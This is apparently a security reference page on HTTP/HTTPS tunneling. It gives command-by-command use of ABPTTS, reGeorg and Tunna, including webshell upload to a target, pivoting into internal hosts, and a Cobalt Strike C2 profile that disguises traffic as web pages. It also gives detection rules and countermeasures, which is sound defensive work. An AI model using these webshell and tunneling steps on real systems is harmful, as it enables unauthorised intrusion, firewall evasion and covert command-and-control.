http/https tunneling

published: August 12, 2025
on this page

http/https tunneling exploits the ubiquity of web traffic to establish covert channels. these techniques wrap arbitrary tcp traffic in http requests and responses, bypassing firewalls that allow web traffic.

technical description

http tunneling works through several mechanisms:

  1. http connect method: standard proxy tunneling for https
  2. request/response smuggling: data in headers, body, or parameters
  3. webshell relays: server-side scripts forwarding traffic
  4. long polling: maintaining persistent connections

https adds tls encryption, making content inspection impossible without ssl interception.

implementation: abptts

overview

abptts (a black path toward the sun) by ncc group (https://github.com/nccgroup/abptts):

  • tunnels tcp over http/https
  • supports multiple simultaneous connections
  • authentication and encryption
  • works with aspx, jsp, and php webshells

installation

# clone repository
git clone https://github.com/nccgroup/ABPTTS.git
cd ABPTTS

# python client
pip install -r requirements.txt

webshell deployment

deploy appropriate webshell to target:

  • abptts.aspx for iis/.net
  • abptts.jsp for tomcat/java
  • abptts.php for apache/php
# example aspx deployment
curl -X POST http://target.com/upload.aspx \
  -F "file=@abptts.aspx"

client usage

# basic connection
python abptts.py -c webshell.aspx -u http://target.com/webshell.aspx

# forward local port to remote service
python abptts.py -c webshell.aspx \
  -u http://target.com/webshell.aspx \
  -f 127.0.0.1:8080:internal.target:22

# with authentication
python abptts.py -c webshell.aspx \
  -u http://target.com/webshell.aspx \
  -A user:password

# multiple forwards
python abptts.py -c webshell.aspx \
  -u http://target.com/webshell.aspx \
  -f 127.0.0.1:2222:10.0.0.5:22 \
  -f 127.0.0.1:3389:10.0.0.5:3389

implementation: regeorg

overview

regeorg by sensepost (https://github.com/sensepost/regeorg):

  • creates socks4/5 proxy through webshell
  • supports aspx, ashx, jsp, php
  • handles multiple connections
  • widely used in penetration testing

setup

# clone repository
git clone https://github.com/sensepost/reGeorg.git
cd reGeorg

# upload tunnel webshell (e.g., tunnel.jsp)
# then establish socks proxy
python reGeorgSocksProxy.py -p 8888 -u http://target.com/tunnel.jsp

usage with proxychains

# configure proxychains
echo "socks4 127.0.0.1 8888" >> /etc/proxychains.conf

# use any tool through tunnel
proxychains4 nmap -sT internal.target
proxychains4 ssh user@internal.target
proxychains4 rdesktop internal.target

implementation: tunna

overview

tunna by secforce (https://github.com/secforce/tunna):

  • python-based http tunnel
  • supports multiple webshell languages
  • configurable buffer sizes
  • built-in compression

configuration

# tunna configuration
python proxy.py -h
# -u URL of webshell
# -l local port
# -r remote host
# -p remote port
# -v verbose mode

example usage

# forward rdp through http tunnel
python proxy.py \
  -u http://target.com/conn.aspx \
  -l 3389 \
  -r 10.0.0.10 \
  -p 3389 \
  -v

# connect to forwarded service
rdesktop 127.0.0.1:3389

http connect method

standard proxy tunneling

import socket
import ssl

# establish connect tunnel
def http_connect_tunnel(proxy_host, proxy_port, target_host, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((proxy_host, proxy_port))

    # send connect request
    connect_req = f"CONNECT {target_host}:{target_port} HTTP/1.1\r\n"
    connect_req += f"Host: {target_host}:{target_port}\r\n"
    connect_req += "\r\n"
    sock.send(connect_req.encode())

    # read response
    response = sock.recv(4096)
    if b"200 Connection established" in response:
        return sock
    return None

curl through proxy

# http connect through proxy
curl -x proxy:8080 https://target.com

# with authentication
curl -x user:pass@proxy:8080 https://target.com

traffic characteristics

http request patterns

POST /webshell.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 1024

data=BASE64_ENCODED_TCP_DATA&seq=123&ack=456

response encoding

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 2048

<html><!--BASE64_ENCODED_RESPONSE--></html>

detection methods

behavioral indicators

  • high frequency post requests to single url
  • consistent request/response sizes
  • unusual user-agent strings
  • long connection durations
  • base64 encoded parameters

traffic analysis

def detect_http_tunnel(requests):
    url_counts = {}

    for req in requests:
        if req['method'] == 'POST':
            url = req['url']
            url_counts[url] = url_counts.get(url, 0) + 1

            # check for suspicious patterns
            if url_counts[url] > 100:  # high frequency
                if 'base64' in req['body'].lower():
                    return f"possible tunnel: {url}"

    return None

detection rules

# suricata rule
alert http any any -> any any (
    msg:"possible http tunnel - frequent posts";
    content:"POST"; http_method;
    threshold: type both, track by_src, count 50, seconds 60;
    sid:1000006;
)

# waf rule pattern
SecRule REQUEST_METHOD "POST" \
    "id:1001,\
    phase:2,\
    chain,\
    t:none,\
    log,\
    msg:'Possible HTTP Tunnel',\
    SecRule REQUEST_HEADERS:Content-Type "@contains application/x-www-form-urlencoded" \
    "chain,\
    SecRule &ARGS:data "@ge 1" \
    "setvar:ip.tunnel_score=+1"

countermeasures

proxy restrictions

# nginx configuration
location / {
    # limit post size
    client_max_body_size 1m;

    # rate limiting
    limit_req zone=post_limit burst=10;

    # block suspicious paths
    location ~* \.(aspx|jsp|php)$ {
        if ($request_method = POST) {
            return 403;
        }
    }
}

content inspection

# deep packet inspection
def inspect_http_payload(request, response):
    # check for tunneling signatures
    signatures = [
        b'ABPTTS',
        b'reGeorg',
        b'Tunna',
        b'base64:',
        b'cmd=',
        b'shell='
    ]

    for sig in signatures:
        if sig in request.body or sig in response.body:
            return "blocked"

    # entropy check for encoded data
    if calculate_entropy(request.body) > 7.0:
        return "suspicious"

    return "allowed"

performance characteristics

bandwidth

  • throughput: 60-80% of raw tcp
  • overhead: 20-40% from http headers
  • latency: adds 20-100ms per round trip

optimization

# chunked transfer encoding
def send_chunked(socket, data):
    chunk_size = 8192
    for i in range(0, len(data), chunk_size):
        chunk = data[i:i+chunk_size]
        socket.send(f"{len(chunk):X}\r\n".encode())
        socket.send(chunk)
        socket.send(b"\r\n")
    socket.send(b"0\r\n\r\n")  # end chunk

real-world usage

apt group deployment

  • apt28: custom http tunnels for c2
  • lazarus: webshell-based tunneling
  • apt32: http/https for data exfiltration
  • carbanak: http tunneling in pos attacks

cobalt strike integration

# malleable c2 profile
http-get {
    set uri "/api/v1/updates /news/feed /about/contact";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.9";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Cache-Control" "no-cache";

        output {
            base64;
            prepend "<!DOCTYPE html><html><body>";
            append "</body></html>";
            print;
        }
    }
}

advantages and limitations

advantages

  • http/https universally allowed
  • blends with legitimate traffic
  • tls encryption prevents inspection
  • works through proxies
  • multiple implementation options

limitations

  • higher overhead than raw tcp
  • request/response model adds latency
  • large data transfers suspicious
  • webshells may be detected
  • requires server-side component

testing setup

local environment

# setup test webserver
python3 -m http.server 8000

# deploy webshell
cp tunnel.php /var/www/html/

# start tunnel client
python abptts.py -c tunnel.php -u http://localhost/tunnel.php

# test connection
nc -v 127.0.0.1 8080

# monitor traffic
tcpdump -i lo -w http_tunnel.pcap 'port 8000 or port 80'

detection testing

# analyze pcap for tunneling
from scapy.all import *

packets = rdpcap('http_tunnel.pcap')
http_requests = []

for p in packets:
    if p.haslayer(TCP) and p[TCP].dport == 80:
        if b'POST' in bytes(p[TCP].payload)[:4]:
            http_requests.append(p)

print(f"post requests: {len(http_requests)}")
print(f"average size: {sum(len(p) for p in http_requests) / len(http_requests)}")

alternative implementations

chisel

golang http tunnel:

# server
chisel server --reverse

# client
chisel client server_ip R:8080:localhost:80

bore

rust implementation:

# server
bore server --secret password

# client
bore local 3000 --to bore.pub --secret password

references

on this page